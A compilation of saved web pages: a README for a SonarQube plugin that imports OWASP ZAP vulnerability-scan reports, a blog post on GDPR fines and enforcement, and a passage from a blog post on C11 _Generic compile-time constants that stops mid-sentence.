  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-git-branch js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='26'%3e%3cpath fill-rule='evenodd' d='M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='504' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 2  branches 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='27'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96 1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39 1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38 7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16 1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-id='507' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 4  releases 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-organization js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='28'%3e%3cpath fill-rule='evenodd' d='M16 12.999c0 .439-.45 1-1 1H7.995c-.539 0-.994-.447-.995-.999H1c-.54 0-1-.561-1-1 0-2.634 3-4 3-4s.229-.409 0-1c-.841-.621-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.442.58 2.5 3c.058 2.41-.159 2.379-1 3-.229.59 0 1 0 1s1.549.711 2.42 2.088C9.196 9.369 10 8.999 10 8.999s.229-.409 0-1c-.841-.62-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.437.581 2.495 3c.059 2.41-.158 2.38-1 3-.229.59 0 1 0 1s3.005 1.366 3.005 4z' data-evernote-id='510' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 4  contributors 

  1. Java 91.6%
  2. HTML 8.2%
  3. Dockerfile 0.2%

Find file

Clone or download

<img src='img/1110825' width='20' height='20' />

gotimerView all commits by gotimer \[maven-release-plugin\] prepare for next
development iteration

Latest commit  3c62c41  on Sep 4, 2018

Type | Name | Latest commit message | Commit time  
---|---|---|---  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='39'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='627' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  screenshots |  Doc updates - image checkin |  3 years ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='40'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='637' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  sonar-zap-plugin |  \[maven-release-plugin\] prepare for next development iteration |  4 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='41'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='647' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .gitignore |  Configured for release to Central Repository \(\#14\) |  11 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='42'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='657' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  .travis.yml |  fix relative path for binary artifact to be released to GitHub \(\#38\) |  4 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='43'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='667' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  README.md |  merge dev into master \(\#34\) |  4 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='44'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='677' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  pom.xml |  \[maven-release-plugin\] prepare for next development iteration |  4 months ago  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='45'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='688'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f436f7665726f732f7a61702d736f6e61722d706c7567696e2e7376673f6272616e63683d6d6173746572'
width='90' height='20' /> <img
src='img/68747470733a2f2f6170692e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f6261303066633830633734323432363662326466646132316430613632656164'
width='120' height='20' /> <img
src='img/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f63393738373730626137396631356332623032392f6d61696e7461696e6162696c697479'
width='144' height='20' /> <img
src='img/68747470733a2f2f646570736869656c642e736f6e61747970652e6f72672f6261646765732f436f7665726f732f7a61702d736f6e61722d706c7567696e2f646570736869656c642e737667'
width='156' height='20' />

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='46'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='691' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />ZAP
Plugin for SonarQube 6.x

Integrates OWASP ZAP reports into SonarQube v6.7.5 or higher. The target
version of SonarQube is the current LTS version.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='47'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='694' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />About
ZAP

OWASP Zed Attack Proxy \(ZAP\) is an easy to use integrated penetration
testing tool for finding vulnerabilities in web applications.

It is designed to be used by people with a wide range of security experience
and as such is ideal for developers and functional testers who are new to
penetration testing.

ZAP provides automated scanners as well as a set of tools that allow you to
find security vulnerabilities manually.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='48'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='699' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Screenshots

<img src='img/dashboard-widget.png' width='715' height='199' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='49'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='702' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Metrics

The plugin keeps track of the following statistics:

  * Total number of high, medium, low, and info severity findings

Additionally, the following metric is defined:

**Identified Risk Score \(IRS\)**

\(high \* 5\) + \(medium \* 3\) + \(low \* 1\)

The IRS is simply a weighted measurement of the vulnerabilities identified
during a scan. It does not measure the actual risk posed by the findings.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='50'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='711' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Installation

Copy the plugin \(jar file\) to $SONAR\_INSTALL\_DIR/extensions/plugins and
restart SonarQube.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='714' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Plugin Configuration

A typical SonarQube configuration will have the following parameters. This
example assumes the use of a Jenkins workspace, but can easily be altered for
other CI/CD systems.

[code]

    sonar.zaproxy.reportPath=${WORKSPACE}/zaproxy-report.xml
    # Optional - specifies additional rules outside of what's included in the core
    sonar.zaproxy.rulesFilePath=${WORKSPACE}/myrules.xml
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='718' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Compiling

[code]

    $ mvn clean package
    
[/code]

This will build the plugin into a jar file into `sonar-zap-
plugin/target/sonar-zap-plugin-<version>.jar`.

If the `docker` property is set, a Docker image will also be created for
testing. The image will be named `org.sonarsource.owasp/sonar-zap-
plugin:<version>` and will have the supported version of SonarQube pulled from
Docker Hub with the newly-built zap-sonar-plugin installed.

To make sure the Docker image is always created when building locally, you can
set the docker property in an active profile in your `settings.xml`:

[code]

        <settings>
        ...
          <profiles>
            <profile>
              <id>docker</id>
              <properties>
                <docker>true</docker>
              </properties>
            </profile>
          </profiles>
    
          <activeProfiles>
            <activeProfile>docker</activeProfile>
          </activeProfiles>
        ...
        </settings>
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='723' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Testing

Once the Docker image is built, it can be started with

[code]

    $ docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 org.sonarsource.owasp/sonar-zap-plugin:version
    
[/code]

The SonarQube server may take a few minutes to start. You can check it with

[code]

    $ docker logs sonarqube
    
[/code]

and look for a line that says `SonarQube is up`.

Then run an analysis using the test report:

[code]

    $ cd sonar-zap-plugin
    $ mvn sonar:sonar -Dsonar.zaproxy.reportPath=$(pwd)/src/test/resources/report/zaproxy-report.xml
    
[/code]

The path must be an absolute path. If your shell does not support `$(pwd)`,
replace it with the full path to the test report.

The results can be viewed at
http://localhost:9000/project/issues?id=org.sonarsource.owasp%3Asonar-zap-
plugin&resolved=false&tags=zaproxy. There should be 14 issues: 1 Major, 9
Minor, 4 Info.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='731' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>History

The ZAP SonarQube Plugin is derived from the OWASP Dependency-Check SonarQube
Plugin. Version 1.0 of the Dependency-Check plugin was forked by Polymont with
the intent of creating a generic OWASP SonarQube plugin to support any OWASP
project. The ZAP team wanted their own SonarQube plugin independent of any
other project. In addition, a number of critical defects were discovered in
the initial release of the Dependency-Check SonarQube plugin that were later
fixed in subsequent releases, but never addressed in the generic OWASP
version. The ZAP SonarQube Plugin is based on v1.0.3 of the Dependency-Check
SonarQube plugin with ZAP-specific contributions by Polymont.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='734' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>License

Permission to modify and redistribute is granted under the terms of the LGPLv3
license.

# Get ready for GDPR, not fined by it

**Created:**| _5/23/2017 1:03:47 PM_  
---|---  
**Updated:**| _5/23/2017 1:03:47 PM_  
**Author:**| __  
**Tags:**| _Law privacy_  
  

  

# Get ready for GDPR, not fined by it

: Ilias Chantzos

_With GDPR on the horizon, it is now important to discuss the complex issue of
fines. While this blog neither gives legal advice nor predicts future actions
of Europe’s privacy regulators, it does provide the basic facts._

It’s the fines associated with GDPR non-compliance that make this topic one
for boardroom debate. GDPR isn’t a “paper tiger”. It has sharp teeth. Recent
Symantec research on the state of privacy in Europe shows how seriously GDPR
is being taken:

  * 96% of organisations don’t fully understand GDPR
  * 90% are worried about their ability to comply
  * 26% in 2016 believed their organisation will fully comply by May 2018
  * 22% in 2016 have GDPR compliance as top priority

Many of the customers I talk to about GDPR misunderstand the penalties, the
risk and the consequences of failing GDPR compliance. I’ve met people who
think that fines will go to the EU budget. Others are unsure whether local or
global turnover is used to calculate fines. Some hope that Brexit may provide
them with a safe heaven. A frequent statement is that “we are not going to be
ready and none else will be either”. Another remark is that “do you really
believe the authorities will start issuing fines up to 4% of companies’ global
turnover”? Or “our investment in Europe is relatively small despite the fact
that we serve a lot of Europeans. Why would the authorities target us?”

**How stringent will regulators be?**  
In a recent meeting with the regulators and European officials some regulators
seemed willing to “take industry by the hand” and lead them to compliance.
Others want to be enforcers. At the moment, nobody knows for sure how
enforcement will take shape. We do know that the fines are described in the
law like this:

  * The penalties range from 2%-4% of global annual turnover but there is also a scaling.
  * The 2% or 10 million Euro, whichever is highest, is targeting a series of offences such as failing to take appropriate security measures.
  * The 4% or 20 million Euro, whichever is highest, means that something seriously bad has happened, such as an illegal data transfer or a repeated violation of the law.

What I will say is that your current compliance situation impacts the level of
enforcement your organisation risks facing. The argument goes like this: the
old 95/46/EC law follows largely the same principles like GDPR, but the latter
is much more detailed and results oriented. However, because 95/46/EC has
existed for 22 years, those already fully compliant with 95/46/EC can reach
GDPR as an evolutionary step. Not being ready on time in 2018, but working
your way up from 95/46/EC, doesn’t protect you but it is likely to get you
into less trouble.

Those not in full compliance now with 95/46/EC have a tough road ahead. Why?
If you haven’t met with 22-year-old standards by now you are less likely to be
able to fulfil the requirements of GDPR anytime soon. This situation results
in companies “rushing through” a GDPR compliance program. This is expensive
but probably the only way to mitigate the risk.

**GDPR expands the “risk surface”**  
95/46/EC created a system of “approximated” national laws. One of the
consequences of “approximation” was that breaking the law in one country was
hopefully “containing” the infraction. With GDPR the law is harmonised and
full cooperation between data protection authorities is a key component of it.
Consequently, a violation of the law in one EU jurisdiction may actually
result into violations in multiple EU jurisdictions. Suddenly the “risk
surface” is all of the territories within the EU that you do business, making
it riskier to be caught breaking privacy rules.

**GDPR has global reach**  
If you are doing business in Europe, even remotely, you must comply with GDPR.
If serving EU customers directly or indirectly, GDPR will apply to you via
contract. Factors to consider are the maturity of the privacy compliance
program and the risk to data caused by an infraction. The size of your
investment or presence in a country could be relevant depending on the
circumstances.

**What triggers an investigation?**  
What could actually trigger an investigation is complex. Here are three
factors to consider:

  1. **Authorities could take action on their own initiative**  
For example if they receive information about a company’s new privacy policy
and its impact on users. Here an inquiry into the use of the firm’s data may
result into further investigation.

  2. **Customers complain**  
With GDPR cross-border complaining is more effective and likely to involve
more authorities. The level of fines make it more likely that a competitor or
a disgruntled employee may also approach the authorities.

  3. **Reporting or not reporting**  
This includes the obligation to report data breaches or certain privacy impact
assessments. Having to report an incident or failing to have proper security
that resulted in an incident may trigger an investigation that could disclose
bigger privacy compliance challenges. Failure to meet a notification
obligation \(e.g. to report a breach\) is an infringement that would trigger
fines. Choosing not to report a data breach to avoid regulatory scrutiny or
sanctions is not a viable strategy and could increase fines.

**How soon we are going to see fines and how large?**  
The views among data protection authorities differ. Remember that fines based
on global annual turnover are an idea that comes from EU competition law.
However, the 10 million threshold of GDPR penalties has been already exceeded
by recent decisions of the Italian Data Protection Authority. France and
Germany have already taken steps to increase the sanction powers of their
national data protection authorities in preparation for GDPR.

**How are fines calculated?**  
By looking at the particular circumstances of every case. The recent Garante
decision is a good example. Some of the factors that will be taken into
consideration include:

  * The amount and type of affected personal data
  * The damage caused and seriousness of risk
  * The number of data subjects
  * The multitude of jurisdictions
  * The disposition of the company that broke the law, its compliance efforts, its presence in a particular country
  * How involved the authorities became and whether they have a history of imposing heavy fines

In reality at this stage it’s impossible to predict how exactly GDPR will be
enforced. Any prediction may go out of the window if a major privacy scandal
erupts. Something like the Snowden disclosures back in 2013. GPDR has real
teeth and it’s becoming pretty clear that it will be a game changer in risk,
enforcement, compliance and business practices. The less risky strategy is to
focus on compliance than becoming a test-case in Europe. Often a question
asked is whether one should apply GDPR across non-European data. A lot depends
on the business model of every organisation but more and more practitioners
seem to give the same answer. It is easier to have a single policy, a single
standard across the organisation and the highest one at the moment is GDPR.

One should also remember that although the GDPR fines have attracted public
attention, Data Protection Authorities have many more arrows in their quiver
that may prove even more problematic than the fines. Decisions by DPAs such as
ban of processing of certain categories of data or suspension of data flows
can kill complete business models. In addition, unlike the fines that have the
caps previously mentioned, the liability and right of compensation towards
data subjects cannot be capped.

The good news for practitioners is that the prospect of large fines and damage
to brand reputation will get you a conversation with the board\! While that’s
important at an operational level, I think GDPR offers so much more. It’s an
opportunity to be far better than we are today at managing and securing
information. Because information fires up competitive advantage, better
information management means better business. Get the foundations of
information management right with GDPR and your organisation will have its
house in order, ready for a new level of success.

  

# Compile-time conditionals and unique constants using C11 \_Generic — Ours &
Hippy

**Created:**| _5/20/2012 4:33:35 PM_  
---|---  
**Updated:**| _5/20/2012 4:33:35 PM_  
**Author:**| __  
**Tags:**| _compiler-building C++11_  
  

**E.g.** débutants, fumette, libre+netbsd,  
langages, gsoc+xmltools, etc.

## Compile-time conditionals and unique constants using C11 \_Generic

About a month ago, I started playing around with the new C standard, namely
C11, and its new features. While I have always been fond of some of them, such
as explicit alignment support, others never really caught my interest. One of
those not-so-interesting additions was the new `_Generic` construct, which
allows rather limited _ad-hoc_ compile-time type-based dispatching. While I
reckon it was necessary in order to support the `<tgmath.h>` header in a
meaningful way, as well as, _perhaps_ , the growing number of integral types,
I’d never seen it as anything more than that: an implementor’s device given
standard blessing.

Well, that was until a few days ago. While experimenting with a macro of mine,
I tried to improve it by using C11 features, and, in doing so, stumbled upon a
rather less boring use of `_Generic`: compile-time "type-level" constants, and
conditional compilation based on it\! \(Well, maybe it sounds obvious to some
of you; for the rest, please read on\!\)

### The basics of `_Generic` constants

Usually, symbolic constants are some arbitrary literal cast to an appropriate
type, like this:

[code]

    #define MY_MAGIC_PONY ((pony_t)-1)
    
[/code]

This works for integer and floating point values, but is not guaranteed by the
standard to work for pointers \(except for `0`, which yields a null pointer
constant\). You might want to try anyway, or you may take the address of some
private dummy object instead.

[code]

    #define MY_MAGIC_PONY (&my_magic_pony_)
    extern struct pony my_magic_pony_;
    
[/code]

Well, the bad news is that if you need that constant at run time, there’s not
much I can do for you; you’ll have to keep using that. On the bright side, if
the constant is only needed at compile time \(e.g. if it is always generated
by some macro, to induce a specific path in a conditional\), there may be hope
still.

With `_Generic`, you can now specify conditions based on types, which means,
you can use dummy types instead of dummy values for your symbolic compile-
time-only constants:

[code]

    #define MY_MAGIC_PONY ((struct dummy_magic_pony *)NULL)
    struct dummy_magic_pony;
    
    #define MY_MAGIC_MACRO(..., p, ...)                   \
            ... _Generic((p),                             \
                struct dummy_magic_pony *: ...,           \
                default: ...) ...
    
[/code]

OK, so what does this bring us? Well, three things:

  * We don’t need to create random objects for pointer constants. 
  * We don’t need to set aside a special value. 
  * And we don’t need to rely on the compiler eliminating spurious dead branches everywhere because of macro expansion. 

### Sample application 1: default arguments

So, we’ve seen how it’s done; sounds trivial, looks trivial, but what can we
use it for? If this were just for me, I’d say "it comes in handy when you
write complex macros sometimes", but I tried to come up with a simple enough
example for this short article: default arguments. In case you may be
wondering, though, this is _for demonstration purposes only_ ; don’t try this
at home… well, what I mean is that probably nobody is going to use this, which
is totally fine.

Anyway, while it is well-known\(?\) that default arguments were possible in
C99 using preprocessor hacks, all solutions I’ve seen were rather cumbersome
to implement \(you’re welcome to prove me wrong; I haven’t tried too hard to
look for the nicest way\).

Probably the most usable solution comes with free keyword arguments \(called
